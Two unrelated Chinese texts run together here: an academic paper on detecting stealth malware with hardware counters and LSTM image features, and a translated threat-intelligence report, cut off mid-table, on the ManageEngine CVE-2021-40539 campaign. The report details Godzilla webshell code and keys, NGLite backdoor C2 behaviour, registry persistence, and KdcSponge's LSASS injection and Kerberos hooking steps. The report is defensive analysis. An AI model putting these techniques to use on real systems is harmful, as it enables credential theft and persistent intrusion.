嵌入式硬件计算技术在计算机系统中的大量应用，使得系统安全成为一个不可或缺的问题。在多种安全威胁中，恶意软件因其设计、制作和传播到设备中的复杂性相对较低而成为重要的威胁。恶意软件，是指攻击者开发的软件程序或应用程序，目的是为了在未经授权的情况下存取计算机装置，以及进行恶意活动，例如窃取数据、存取敏感信息如凭证，以及在未经使用者许可的情况下操作储存的信息。
传统的、原始的基于软件的恶意软件检测技术，如基于签名和基于语义的异常检测技术，已经存在了二十多年，虽然有效，但它们产生了显着的计算和处理开销，但在检测隐藏的威胁方面仍然效率低下。为了克服基于软件的恶意软件检测技术的这一障碍中的工作提出利用通过片上硬件性能计数器(HPC)寄存器捕获的微结构事件痕迹。尽管与基于软件的技术相比，性能较好，但基于HPC的方法无法有效检测隐身恶意软件。
由于隐身恶意软件会将自身分解为良性代码，并在运行时动态地重新组合以发起恶意行为，因此仅仅利用全局化特征来检测隐身恶意软件是不够的。这就促使我们必须对局部特征进行同化和提取，以实现对隐身恶意软件的高效检测。
为了克服现有工作的不足，解决上述挑战，在本工作中，我们引入了一种新型的混合技术，尽管采用了先进的制作技术，但使用机器学习来检测传统恶意软件和隐身恶意软件，并且效率很高。本工作实现这种高性能恶意软件检测的主要贡献可以从以下三个方面来概述。
我们提出的传统隐身恶意软件检测技术采用了基于HPC的方法以及基于局部特征的技术。在基于HPC的方案中，在运行时收集给定应用的HPC痕迹，并通过传统的ML分类器进行验证，进行恶意软件的检测和分类。
在基于局部特征的方法中，应用二进制文件被翻译成图像二进制文件，从中提取局部特征，并通过长短期记忆（LSTM）循环神经网络（RNN）进行处理，用于恶意软件的检测和分类。
根据给定应用的分类置信度，将两种方法提出的类作为最终输出。
我们已经在超过6000个传统恶意软件样本(后门、rootkit、木马、病毒和蠕虫)、2500个隐形恶意软件样本和1500个良性样本上评估了所提出的双管齐下的方法和新颖的局部特征提取技术。对传统恶意软件样本的准确率为94%，对隐形恶意软件的准确率接近90%，F1-score为92%，召回率为91%。
## 第二节. 动机
在这里，我们讨论了激励和推动我们提出混合双管齐下恶意软件检测技术的关键发现。图1a、图1b和图1c分别以热图的形式直观地展示了良性、隐形恶意软件和传统恶意软件应用的特征。
y轴（图像模式）代表应用程序可执行文件中的模式，x轴（模式）代表整个数据集语料库中的观察模式。热图中每个像素的强度是生成热图的文件中各个模式之间的余弦相似度百分比。高强度表示在特定的应用中给定模式的充分存在，这表明各种整体模式之间的密切匹配。
我们从绘制的热图中得出以下观察结果。(1)在图1a中，这是一个良性应用的热图，我们可以观察到从图案编号183到671的高强度(暗)区域。然而，在恶意软件的情况下，同样的区域出现的强度较低，如图1c。此外，在整个恶意软件热图（图1b和图1c）中，没有观察到这样的强度区域。(2)在隐身恶意软件的热图(图1b)中，可以观察到对于给定的整体模式，隐身图像模式中的热图并不均匀，即可以观察到等距离的水平光照强度区域和类似的褪色水平区域，说明隐身恶意软件的模式发生不均匀；(3)隐身恶意软件热图的模式强度分布在各个模式中，而在传统恶意软件的情况下是局部的，如图1c和图1b中观察到的。总的来说，这使得隐身恶意软件更难检测。基于以上观察，我们提出了提取和利用局部化特征来区分隐身恶意软件、传统恶意软件和良性应用。
## 第三节.建议的恶意软件检测方法
### A. 拟议方法概述
首先，我们介绍了我们提出的双管齐下的方法概述，如图2所示，用于高效的恶意软件检测，然后是深入的细节。如图2所示，传入的应用（传统的恶意软件或良性或隐性恶意软件）同时被送入基于HPC的方法和基于局部特征提取的计算机视觉方法。在基于HPC的方法中，在运行时收集突出的HPCs信息，然后反馈给ML分类器进行恶意软件检测。需要的突出的HPC，通过离线获取所有可行的
HPC值，并送入主成分分析（PCA）进行特征还原。而基于HPC的技术是对传入文件进行动态分析，基于局部特征的方法是一种静态方法，利用基于计算机视觉的处理方法进行恶意软件检测。在这种方法中，传入的二进制文件被转换为灰度图像。从该灰度图像中提取出模式，并通过采用RNN-LSTM进一步标记，与存储的隐身恶意软件和传统恶意软件的模式进行比较。根据两种技术的分类置信度，将置信度较高的技术所预测的类作为输入应用的输出类。下面我们将对各个方法的细节进行描述。
### B. 基于HPC的检测方法
在基于HPC的检测技术中，我们需要通过HPC捕捉到的微架构事件痕迹来进行恶意软件检测。其中一个挑战是，在一个给定的时间-instance中，可以提取的片上HPC数量有限。然而，执行一个应用程序会产生几十个微架构事件。因此，要进行实时恶意软件检测，需要确定哪些非平凡的微结构事件可以通过有限数量的HPC捕获，并产生高检测性能。为了实现这一目标，我们使用主成分分析（PCA）对所有通过迭代执行应用程序离线捕获的微架构事件痕迹进行特征/事件还原。基于PCA，我们决定最突出的事件，并在运行时监控它们。事件的排序确定如下：其中为任意应用的皮尔逊相关系数，为任意传入的应用，为输出数据包含不同的类别(在我们的案例中为后门、rootkit、木马、病毒和蠕虫)，cov()测量输入和输出之间的协方差，var()和var()分别测量输入和输出数据的方差。根据排名，我们可以选择最突出的HPC，并在运行时监控它们，以实现高效的恶意软件检测。这些在运行时收集到的还原特征被提供给ML分类器作为输入，ML分类器以较高的置信度确定恶意软件类别标签(Y^⇒后门、rootkit、木马、病毒和蠕虫)(a)。这种基于HPC的恶意软件检测技术对传统恶意软件的检测和分类速度快、鲁棒性强、准确率高，但它在面积、功率和延迟方面存在开销。尽管取得了一定的优势，但由于恶意软件嵌入到良性应用中时对HPC的污染，这种方法在隐身恶意软件上并不能获得更高的性能。为了解决这一关键问题，并行采用了一种基于计算机视觉的方法。
### C. 基于局部特征提取的检测
在基于计算机视觉的检测技术中，应用二进制文件转换为灰度图像进行局部特征提取。传入的二进制文件被读取为8位无符号整数的向量，然后结构化为一个二维数组。可以将其可视化为一个范围为[0],[255]（0：黑，255：白）的灰度图像。图像的宽度固定为256，高度允许根据文件大小而变化。因为，所有文件的大小都在60
kB – 100
kB之间，建议宽度为256[7]。对转换后的二进制图像进行光栅扫描，如图2所示，以找到图像模式。每个图案的块大小为32X32。我们利用余弦相似度来区分多个图案，即如果两个图案的余弦相似度高于一个阈值(在本工作中基于已进行的实验为0.75)，则认为它们是相同的。当数据库中找到多个匹配的图案时，则考虑余弦相似度高的图案。一旦图像模式被识别为给定的二进制文件，整个图像二进制被转换为一个模式序列（每个模式都有一个标签）。这个标签序列被送入一个长短期记忆（LSTM）循环神经网络（RNN）。RNN可以喂养相同长度的序列。我们对序列进行零的填充，以使其长度一致。
学习RNN的模式发生如下。让ut和ht分别表示时间实例t的输入和状态向量，让Win、Wrec、b、Wout、bout分别是输入到隐藏层的权重矩阵、递归权重矩阵、偏置、输出权重矩阵和输出偏置。让w和e分别为隐藏层和输出层的激活函数。在我们提出的工作中，隐藏层采用tanh，输出采用softmax。然后，递归模型由以下公式描述：
该RNN模型最终被用于根据公式（2）和公式（3）对传入的隐形恶意软件二进制进行分类，并预测相应的类标签Xt。利用RNN的原理是利用攻击者利用时间以及空间上的依赖性来制作隐形恶意软件。
对于给定的输入应用，我们有2个标签（相同或不同）通过基于HPC和计算机视觉的方法预测。在我们的工作中，我们考虑了这两种方法预测的置信度，并且预测器中置信度高于阈值(a
= 75%，通过试错法确定)的标签被认为是输入应用的相关类。
## 第四节 实验结果
### A. 实验设置
所提出的方法是在英特尔核心i7-8750H
CPU和16GB内存上实现的。我们已经从VirusTotal获得了恶意软件应用程序[9]。我们利用良性的应用程序，如文档(.pdf, .txt,
.docx)，将上述恶意软件类的二进制文件通过代码混淆(代码重新定位[10])过程整合到其中，以创建2500个隐身的恶意软件样本。我们将恶意软件代码随机放入一个良性文件中，以增加隐蔽性。利用这个过程来创建1600个隐身恶意软件。基于HPC的机制利用单层神经网络，隐藏层有10个神经元。RNN模型具有阈值为0.7的1维丢弃层，LSTM层具有64个神经元和0.7的递归丢弃，然后是具有softmax激活的密集层。它使用ADAM优化器，损失是基于分类交叉熵计算的。
### B. 恶意软件检测的性能
对于传统的恶意软件，即作为独立线程产生的恶意软件，基于HPC的恶意软件检测准确率达到了近90%。然而，对于隐身恶意软件，基于HPC的恶意软件检测准确率被打破，平均为54%（为简洁起见，没有绘制这些单独的结果）。然而，在提出的混合方法中，尽管进行了代码混淆，但准确率还是分别达到了94%。
从图3可以看出序列分类器的性能比较。我们观察到，对于传统的恶意软件应用，基于我们局部特征提取方法的RNN序列分类器，对传统恶意软件的分类准确率最高，准确率达到94%。传统序列分类技术对隐身恶意软件的性能变差，而我们基于局部化特征提取的方法对隐身恶意软件的准确率达到了近90%。最重要的观察是，在使用各种混淆技术，如随机代码混淆、代码重定位和多态性等技术检测嵌入在良性应用中的隐形恶意软件时，准确率是确定的。
除了准确率，我们还对恶意软件检测的其他性能指标进行了评估和比较，如图4所示。所提出的方法论的精确性得分为0.93，平均F-1得分和召回得分分别为0.94和0.96。我们得出结论，与其他方法相比，提出的方法所达到的召回得分和F-1得分分别高出约24%和23%。
从图5中可以看出，利用提出的恶意软件检测方法，曲线下的面积非常接近1，这表明有较高的鲁棒性。考虑到评估证据，我们可以证实我们提出的混合恶意软件检测技术在检测传统和隐形恶意软件方面优于其他机制。
## 第五节. 结论
我们提出了一种利用架构(trace)以及代码属性的混合方法，由HPCs和提取的局部特征组成，用于隐蔽的恶意软件检测。在基于HPC的方法中，我们确定恶意软件检测中最突出的HPC，并将其反馈给ML分类器进行恶意软件检测。同时，我们将传入的应用提供给设计的图像处理技术，将应用二进制转换为灰度图像，并在空间分布上提取模式。在序列分类方面，我们利用RNN来提取和处理局部特征，以达到最高的平均准确率，比隐身恶意软件高90%，比传统恶意软件应用高94%。因此，我们得出结论，我们提出的方法在检测隐身恶意软件和传统恶意软件方面是稳健的。 | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/>**
## 摘要
2021年9月16日，美国网络安全和基础设施安全局(CISA)发布了一个警报，警告APT攻击组织的攻击者正在积极利用一个漏洞，该漏洞是在自助密码管理和单点登录解决方案
ManageEngine ADSelfService Plus 中新发现的。该警告解释说，我们观察到恶意攻击者部署特定的 webshell
和其他技术，以保持受害者环境中的持久性; 然而，在随后的日子里，我们观察到第二个不同的攻击行为，是利用了同一漏洞。
早在9月17日，这位攻击者就利用美国的租赁基础设施扫描了互联网上数百个易受攻击的组织。随后，对漏洞的利用在9月22日开始了，可能持续到了10月初。在此期间，这个攻击者成功地攻击至少9个全球实体，涉及科技、国防、医疗、能源和教育等行业。
经过初步步骤，一个安装了 Godzilla webshell有效载荷被上传到受害者网络。这种操作对所有受害者中都是一致的;
然而，我们也观察到一小部分受到危害的组织随后收到了一个名为 NGLite 的修改版本的新后门。然后，攻击者使用 webshell 或者 NGLite
有效载荷来运行命令，并横向移动到网络上的其他系统，而他们只要网络服务器上下载，就可以提取利益相关的文件。如果攻击者们想攻击一个域控制器，他们就安装了一个新的窃取证书工具，我们称之为
KdcSponge。
KdcSponge和 NGLite 都是按照中文说明开发的，可以在 GitHub
上公开下载。我们认为，攻击者将这些工具结合使用，作为冗余的一种形式，以维护对高利益网络的访问。Godzilla 是一个功能丰富的
webshell，它解析入站 HTTP POST 请求，用私密密钥解密数据，执行解密内容以执行额外的功能，并通过 HTTP
响应返回结果。这使得攻击者可以将可能被标记为恶意的代码与目标系统隔开，直到他们准备好动态执行它。
NGLite是一个“基于区块链技术的匿名跨平台远程控制程序”它利用新型网络(NKN)基础设施进行命令和控制(C2)通信，从理论上讲，这会为用户带来匿名性。需要注意的是，NKN
是一个合法的网络服务，它使用区块链技术来支持分散的对等点网络。使用 NKN 作为
c2通道是非常罕见的。我们已经看到的只有13个样本与分散的对等点网络通信——共9个 NGLite
样本和4个相关的一个合法的开放源码实用程序（Surge），它使用 NKN 用来文件共享。
最后，KdcSponge 是一种新型的证书窃取工具，用于针对域控制器窃取证书。KdcSponge
将自己注入到本地安全认证子系统服务服务器进程(LSASS)中，并将挂接特定的函数来收集用户名和密码，这些用户名和密码是从尝试通过 Kerberos
验证到域的帐户中获得的。恶意代码将盗取的证书写入文件，但依赖于其他功能进行提取。
## 初始访问
从9月17日开始一直到10月初，我们观察到，ManageEngine ADSelfService
Plus服务器被扫描。通过全球遥测，我们认为攻击者仅在美国就瞄准了至少370台Zoho
ManageEngine服务器。鉴于规模，我们评估这些扫描基本上是完全随机的，因为目标范围从教育到国防部实体。
在获得扫描结果后，攻击者于9月22日转变了攻击企图。这些攻击集中于CVE-2021-40539，CVE-2021-40539允许REST
API身份验证绕过，从而在受攻击的设备中执行远程代码。为了实现这一结果，攻击者向REST API LicenseMgr交付了精心编制的POST语句。
虽然我们尚不了解此次活动中被侵害的组织总数，但我们认为，在全球范围内，技术、国防、医疗保健、能源和教育行业至少有九家实体受到了损害。成功利用该漏洞后，攻击者上传了一个有效负载，该负载部署了一个Godzilla
webshell，从而能够额外访问受害者网络。我们观察到美国的以下租用IP地址与受损服务器交互：
24.64.36[.]238
45.63.62[.]109
45.76.173[.]103
45.77.121[.]232
66.42.98[.]156
140.82.17[.]161
149.28.93[.]184
149.248.11[.]205
199.188.59[.]192
在部署了webshell之后，我们还发现了在一个受损网络子集中部署的额外工具的使用。具体来说，攻击者部署了一个名为NGLite的自定义开源后门变体和一个我们跟踪的凭证收集工具KdcSponge。下面几节将详细分析这些工具。
## 恶意软件
利用阶段，两个不同的可执行文件被保存到受感染的服务器:`ME_ADManager.exe`和`ME_ADAudit.exe`。`ME_ADManager.exe`文件作为一个dropper木马，不仅保存了一个Godzilla的webshell到系统，而且还安装和运行保存到系统的其他可执行文件，特别是`ME_ADAudit.exe`。`ME_ADAudit.exe`可执行文是基于NGLite，威胁攻击者将其用作在系统上运行命令的有效负载。
### `ME_ADManager.`dropper
初始利用完成后，dropper病毒保存到以下路径:
`c:\Users\[username]\AppData\Roaming\ADManager\ME_ADManager.exe`
对该文件的分析显示，该有效负载的作者在构建样本时没有删除调试符号。因此，在样本中存在以下调试路径，并建议使用用户名pwn创建此有效负载:
`c:\Users\pwn\documents\visual studio
2015\Projects\payloaddll\Release\cmd.pdb`
在执行时，该示例首先创建以下通用互斥锁，这些互斥锁在网上的许多代码示例中都可以找到，这是为了避免运行多个droper案例:
`cplusplus_me`
然后，dropper尝试编写一个硬编码的Godzilla webshell到下列位置，我们将在稍后的报告中提供详细的分析，
../webapps/adssp/help/admin-guide/reports.jsp
c:/ManageEngine/ADSelfService Plus/webapps/adssp/help/admin-guide/reports.jsp
../webapps/adssp/selfservice/assets/fonts/lato/lato-regular.jsp
c:/ManageEngine/ADSelfService Plus/webapps/adssp/selfservice/assets/fonts/lato/lato-regular.jsp
然后，dropper创建文件夹`%APPDATA%\ADManager`，然后创建以下注册表项，以在重启后持续运行，并将自己复制到`%APPDATA%\ADManager\ME_ADManager.exe`，
Software\Microsoft\Windows\CurrentVersion\Run\ME_ADManager.exe : %APPDATA%\ADManager\ME_ADManager.exe
Software\Microsoft\Windows\CurrentVersion\Run\ME_ADAudit.exe : %SYSTEM32%\ME_ADAudit.exe
然后，dropper将ADAudit.exe从当前目录复制到以下路径，并使用WinExec运行该文件:
`%SYSTEM32%\ME_ADAudit.exe`
Dropper不会将`ME_ADAudit.exe`文件写入磁盘，这意味着攻击者必须在dropper执行之前将该文件上传到服务器，这可能是cve - 201
-40539漏洞的一部分。在我们对多个事件的分析中，我们发现ME_ADAudit.exe样本保持了一致的SHA256哈希值`805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f`，因此表明攻击者针对多个目标部署了相同的定制版本的NGLite后门。
## Godzilla webshell
如前所述，最初的拖dropper含一个硬编码的Java Server Page (JSP)
webshell。通过对webshell的分析，确定为中文版哥斯拉webshell V3.00+。Godzilla
webshell是由用户BeichenDream开发的，他说他们创建这个webshell是因为当时可用的webshell在红队比赛时经常被安全产品检测到。因此，作者宣称它将通过利用AES对其网络流量加密来避免检测，并且在安全厂商产品保持非常低的静态检测率。
VirusTotal对Godzilla webshell的检测
区域威胁组织入侵时，采用Godzilla
webshell并不奇怪，因为它提供了比相同组织使用的其他webshell(如ChinaChopper)更多的功能和网络逃避。
就功能而言，JSP webshell本身相当简单，并保持了轻量级的内存占用。它的主要功能是解析HTTP
POST，使用秘密密钥解密内容，然后执行有效负载。这使得攻击者可以将可能被标记为恶意的代码隔离在目标系统之外，直到他们准备好动态执行它。
下图显示了默认JSP webshell的初始部分以及解密函数。
默认Godzilla JSP webshell的头部
值得注意的是变量`xc`和`pass`在代码的第一行和第二行。这些是每次操作符生成新的webshell时都会更改的主要组件，这些变量表示在该webshell中用于AES解密的秘密密钥。
当您手动生成webshell时，您需要指定明文传递和密钥。默认情况下，它们是`pass`和`key`。
为了弄清楚这些是如何在webshell本身中呈现的，我们可以看看Godzilla JAR文件。
下面，您可以看到代码在`/shells/cryptions/JavaAES/GenerateShellLoder`函数下替换了其中一个嵌入式webshell模板中的字符串。
Generate.class文件中的GenerateShellLoder函数
因此，我们知道webshell中的`xc`变量将是AES密钥，如模板中所示。
String xc="{secretKey}"; String pass="{pass}"; String md5=md5(pass+xc)
我们观察到xc值似乎是一个散列，存在`/core/shell/ShellEntity.class`文件下，我们可以看到代码使用MD5散列的前16个字符作为明文密钥。
public String getSecretKeyX()
{
return functions.md5(getSecretKey()).substring(0, 16);
}
这样，我们就知道`3c6e0b8a9c15224a`的`xc`值是单词key的MD5散列的前16个字符。
鉴于此，`xc`和`pass`变量是两个主要字段，可用于跟踪和尝试跨事件映射活动。在本博客中，我们生成了一个Godzilla
webshell，其中包含用于分析的默认选项；其中，默认选项与攻击中观察到的值之间的唯一区别是`xc`和`pass`值不同。
此webshell的一个重要特征是，作者称它缺乏静态检测，通过避免关键字或安全产品签名可能识别的常见结构，使此文件不太显眼。一种特别有趣的静态规避技术是使用Java三元条件运算符来指示解密。
这里的条件是`m？1:2–m`是传递给该函数的布尔值，如下图所示，如果m为真，则使用第一个表达式常量（`1`）。否则，第二（`2`）项通过。参考Java文档，`1`是加密模式，而`2`是解密模式。
当webshell执行此函数`x`时，它不会设置m的值，因此会强制`m`为False并将其设置为解密。
response.getWriter（）.write（base64Encode（x（base64Decode（f.toString（）），true））；
为了理解Godzilla的功能，我们可以查看`/shell/payloads/java/JavaShell.class`。该类文件包含提供给操作者的所有函数。下面是`getFile`函数的一个示例。
有效载荷功能：
getFile
downloadFile
getBasicsInfo
uploadFile
copyFile
deleteFile
newFile
newDir
currentDir
currentUserName
bigFileUpload
bigFileDownload
getFileSize
execCommand
getOsInfo
moveFile
getPayload
fileRemoteDown
setFileAttr
从函数的名称可以看出，Godzilla webshell为远程系统导航、与远程系统之间的数据传输、远程命令执行和枚举提供了大量有效负载。
这些有效载荷将使用前面描述的密钥进行加密，操作软件将向包含数据的受损系统发送HTTP POST。
此外，如果我们检查`core/ui/component/dialog/ShellSetting.class`文件（如下所示），`initAddShellValue（）`函数包含远程网络访问的默认配置设置。因此，可以识别诸如静态HTTP头和用户代理字符串之类的元素，以帮助取证搜索web访问日志，寻找潜在的危害。
private void initAddShellValue() {
this.shellContext = new ShellEntity();
this.urlTextField.setText("http://127.0.0.1/shell.jsp");
this.passwordTextField.setText("pass");
this.secretKeyTextField.setText("key");
this.proxyHostTextField.setText("127.0.0.1");
this.proxyPortTextField.setText("8888");
this.connTimeOutTextField.setText("60000");
this.readTimeOutTextField.setText("60000");
this.remarkTextField.setText("??");
this.headersTextArea.setText("User-Agent: Mozilla/5.0 (Windows NT
10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\n");
this.leftTextArea.setText("");
this.rightTextArea.setText("");
}
下面是web服务器访问日志的一个片段，其中显示了使用Curl应用程序并发送自定义URL负载以触发CVE-2021-40539漏洞的初始攻击。然后，它显示了Godzilla
webshell的后续访问，它已被初始Dropper放入硬编码路径中。通过查看用户代理，我们可以确定威胁攻击者从利用漏洞攻击到最初访问webshell的时间仅四多分钟。
- /./RestAPI/LicenseMgr "-" X.X.X.X Y.Y.Y.Y POST [00:00:00] - - 200 "curl/7.68.0"
- /help/admin-guide/reports.jsp "-" X.X.X.X Y.Y.Y.Y POST [+00:04:07] - - 200 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0"
## 定制NGLite
NGLite是一个用Go语言编写的开源后门（特别是Go版本1.13）。它可以从公共GitHub存储库[下载](https://github.com/Maka8ka/NGLite)。NGLite是一种后门木马，只能运行通过其C2通道接收的命令。虽然这些功能是后门的标准功能，但NGLite使用了一种新颖的C2通道，该通道利用基于合法NKN的分散网络在后门和攻击者之间进行通信。
NKN鼓吹他们的分散网络使用公共区块链，可以支持数百万对等方之间的通信，每个对等方都由唯一的NKN地址而不是典型的网络标识符（如IP地址）标识。因此，NGLite工具在其C2通道中与之通信的即时IP地址只是分散网络中的对等地址，不太可能代表攻击者的网络位置。这种设计使得NGLite
C2通信信道的检测和预防变得困难。
幸运的是，将NKN用作C2通道的情况非常少见。我们总共只看到13个样本使用NKN通信——9个NGLite样本，还有4个与一个名为Surge的开源实用程序相关，该实用程序使用NKN进行文件共享。VirusTotal扫描了9个已知NGLite样本中的8个。四个未被检测到，三个被一个抗病毒病毒检测到，其余一个样本被五个抗病毒检测到。如此低的检测率表明NGLite在此次攻击活动中几乎没有防病毒覆盖。
如前一节所述，dropper创建注册表项并执行NGLite后门的自定义变量：
`SHA256:805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f`
它保存在以下路径： `C:\Windows\system32\ME\u ADAudit.exe`
基于Go语法的后门中的数据结构包含以下路径，用于在开发人员系统上存储此自定义NGLite变体的主要源代码：
`/mnt/hgfs/CrossC2-2.2/src/ng.com/lprey/main.go`
基于这条路径，有人可能会猜测，攻击者使用CrossC2构建了一个跨平台的Cobalt打击C2有效载荷；然而，我们并不认为该有效载荷实际上是基于CrossC2的，因为该有效载荷是公开可用的NGLite后门的定制版本。
攻击者可能将CrossC2控制系统串作为误导方向放入路径中，希望迷惑威胁分析人员，使他们认为他们正在交付Cobalt
Strike有效载荷。我们已经看到以下NGLite样本使用的源代码路径，可以追溯到8月11日，这表明该攻击者已经使用该工具几个月了：
3da8d1bfb8192f43cf5d9247035aa4445381d2d26bed981662e3db34824c71fd
5b8c307c424e777972c0fa1322844d4d04e9eb200fe9532644888c4b6386d755
3f868ac52916ebb6f6186ac20b20903f63bc8e9c460e2418f2b032a207d8f21d
此攻击中使用的自定义NGLite样本检查了命令行参数中的`g`或`group`值。如果此开关不存在，有效负载将使用默认字符串`7AA7AD1BFA9DA581A7A044896279517EEF9357B81E406E3AEE1A66101FE824`，NGLite将其称为种子标识符。
有效负载将创建一个`prey
id`，该id通过连接系统网络接口卡（NIC）的MAC地址和IPv4地址生成，并用连字符（-）分隔这两个地址。该目标标识符将用于C2通信。
NGLite有效载荷将使用NKN分散网络进行C2通信。请参见下面示例中的NKN客户端配置：
该样本首先通过TCP/30003访问`seed.nkn[.]org`，具体来说是一个HTTP POST请求，其结构如下：
它还将发送HTTP POST请求，`monitor_03`作为目标id，如下所示：
`seed.nkn[.]org`服务器使用JSON中的`[prey id（MAC-IPv4）]`响应此请求，其结构如下：
{"id":"nkn-sdk-go","jsonrpc":"2.0","result":{"addr":"66.115.12.89:30002","id":"223b4f7f4588af02badaa6a83e402b33dea0ba8908e4cd6008f84c2b98a6a7de","pubkey":"38ce48a2a3cffded7c2031514acaef29851ee39303795e4b3e7fce5a6619e6be","rpcAddr":"66.115.12.89:30003"}}
这表明有效负载将通过TCP/30003在`66.115.12.89`与对等方通信。然后，`seed.nkn[.]org`服务器用以下内容响应`monitor_03`请求，这表明有效负载将通过TCP/30003与`54.204.73.156`通信：
{"id":"nkn-sdk-go","jsonrpc":"2.0","result":{"addr":"54.204.73.156:30002","id":"517cb8112456e5d378b0de076e85e80afee3c483d18c30187730d15f18392ef9","pubkey":"99bb5d3b9b609a31c75fdeede38563b997136f30cb06933c9b43ab3f719369aa","rpcAddr":"54.204.73.156:30003"}}
从`seed.nkn[.]org`获得响应后，负载将向JSON中`addr`字段中提供的IP地址和TCP端口发出HTTP
GET请求。这些HTTP请求如下所示，但请记住，这些系统不是由攻击者控制的；相反，它们只是最终将返回攻击者内容的对等链中的第一个对等：
最终，自定义NGLite客户端和服务器之间的网络通信使用AES加密，密钥如下： `WHATswrongwithUu`
自定义NGLite样本将首先向C2发送一个初始信标，该信标包含whoami命令的结果，还有字符串`#windows`，如下所示：
`[username]#windows`
发送初始信标后，NGLite示例将运行一个名为`Preylistener`的子函数，该函数创建一个侦听入站请求的服务器。该样本还将侦听入站通信，并尝试使用默认AES密钥`1234567890987654`对其进行解密。它将通过Go方法`os/exec.command`以命令的形式运行解密的内容。然后使用相同的AES密钥对结果进行加密并发送回请求者。
## 攻击之后
在破坏网络后，威胁攻击者迅速从最初的立足点转移到目标网络上的其他系统，通过其NGLite负载和Godzilla
webshell运行命令。在获得对初始服务器的访问权后，攻击者集中精力从本地域控制器收集和过滤敏感信息，例如Active
Directory数据库文件（`ntds.dit`）和注册表中的系统配置单元。不久之后，我们观察到攻击者正在安装KdcSponge凭证窃取程序，这个我们将在下面详细讨论。最终，参与者感兴趣的是窃取凭据、维护访问权限以及从受害者网络收集敏感文件进行过滤。
## 凭证获取和KdcSponge
在分析过程中，Unit42发现了一些日志，这些日志表明攻击者使用PwDump和内置的`comsvc.dll`创建了`lsass.exe`进程的小型转储，用于凭证窃取；然而，当攻击者希望从域控制器窃取凭据时，他们安装了自定义工具，我们跟踪该工具为
**KdcSponge** 。
KdcSponge的目的是从LSASS进程中钩住API函数，从通过Kerberos服务（“KDC服务”）进行身份验证的入站尝试中窃取凭据。KdcSponge会将域名、用户名和密码捕获到系统上的一个文件中，然后攻击者会通过对服务器的现有访问手动过滤该文件。
我们知道有两个KdcSponge样本，它们都被命名为`user64.dll`。它们具有以下SHA256哈希：
3C90DF0E02CC9B1CF1A86F9D7E6F777366C5748BD3C4070B49460B48B4D4090
b4162f039172dcb85ca4b85c99dd77beb70743ffd2e6f9e0ba78531945577665
要启动KdcSponge凭据窃取程序，攻击者将运行以下命令加载并执行恶意模块： `regsvr32/s user64.dll`
在第一次执行时，`regsvr32`应用程序运行`user64.dll`导出的`DllRegisterServer`函数。`DllRegisterServer`函数解析`sfc_os.dll`中的`SetSfcFileException`函数，并尝试在`c:\Windows\system32\kdcsvc.dll`文件上禁用Windows文件保护（WFP）。然后，它尝试通过以下方式将自身注入正在运行的`lsass.exe`进程：
1. 使用`OpenProcess`打开`lsass.exe`进程。
2. 使用`VirtualAllocEx`在远程进程中分配内存。
3. 使用`WriteProcessMemory`将字符串`user64.dll`写入分配的内存。
4. 使用`RtlCreateUserThread`，在`lsass.exe`进程内以`user64.dll`作为参数调用`LoadLibraryA`。
现在`user64.dll`正在`lsass.exe`进程中运行，它将首先创建以下注册表项，以通过系统重新启动建立持久性：
HKEY\U LOCAL\U MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\KDC服务：regsvr32/s user64.dll
从这里开始，样本将通过尝试获取以下模块之一的句柄来确保系统正在运行Kerberos服务：
kdcsvc.dll
kdccli.dll
Kdcsvs.dll
KdcSponge尝试使用以下三种方法定位三个未记录的API函数——特别是`KdcVerifyEncryptedTimeStamp`、`KerbHashPasswordEx3`和`KerbFreeKey`：
1. 标识Kerberos模块的版本，并使用API函数的硬编码偏移量进行挂钩。
2. 联系Microsoft的symbol server以查找Kerberos模块中API函数的偏移量，并通过与硬编码字节序列进行比较来确认正确的函数。
3. 在Kerberos模块中搜索硬编码字节序列。
KdcSponge定位要挂接的API函数的主要方法是基于可移植可执行文件（PE）的`IMAGE_FILE_HEADER`部分中`TimeDateStamp`来确定Kerberos模块的版本。一旦确定了Kerberos模块的版本，KdcSponge就具有硬编码的偏移量，它将使用这些偏移量在该版本的模块中钩住适当的函数。KdcSponge查找以下TimeDateStamp值：
2005-12-14 01:24:41
2049-10-09 00:46:34
2021-04-08 07:30:26
2021-03-04 04:59:27
2020-03-13 03:20:15
2020-02-19 07:55:57
2019-12-19 04:15:06
2019-07-09 03:15:04
2019-05-31 06:02:30
2018-10-10 07:46:08
2018-02-12 21:47:29
2017-03-04 06:27:32
2016-10-15 03:52:20
2020-11-26 03:04:23
2020-06-05 16:15:22
2017-10-14 07:22:03
2017-03-30 19:53:59
2013-09-04 05:49:27
2012-07-26 00:01:13
如果KdcSponge无法确定Kerberos模块的版本，并且域控制器运行的是Windows Server 2016或Server
2019（主版本10），则负载将接触到Microsoft的符号服务器（`msdl.Microsoft.com`），试图找到几个未记录的API函数的位置。该样本将向如下结构的URL发出HTTPS
GET请求，URL的GUID部分是PE的`IMAGE_DEBUG_TYPE_CODEVIEW`部分中RSDS结构的GUID值：
`/download/symbols/[library name].pdb/[GUID]/[library name].pdb`
样本将结果保存到以下位置的文件中，同样，文件名的GUID是`IMAGE_DEBUG_TYPE_CODEVIEW`部分中RSDS结构的GUID值：
`ALLUSERPROFILE\Microsoft\Windows\Caches\[GUID].db:`
如上所述，我们认为代码访问symbol服务器的原因是查找三个未记录的Kerberos相关函数的位置：`KdcVerifyEncryptedTimeStamp`、`KerbHashPasswordEx3`和`KerbFreeKey`。此样本主要在以下库中查找这些函数：
`kdcsvc.KdcVerifyEncryptedTimeStamp kdcsvc.KerbHashPasswordEx3
kdcpw.KerbHashPasswordEx3 kdcsvc.KerbFreeKey kdcpw.KerbFreeKey`
如果找到这些函数，样本将搜索特定的字节序列，如表1所示，以确认函数是否正确，并验证它们是否未被修改。
Function | Hex bytes
---|---
kdcsvc.KdcVerifyEncryptedTimeStamp | 48 89 5c 24 20 55 56 57 41 54 41 55 41 56
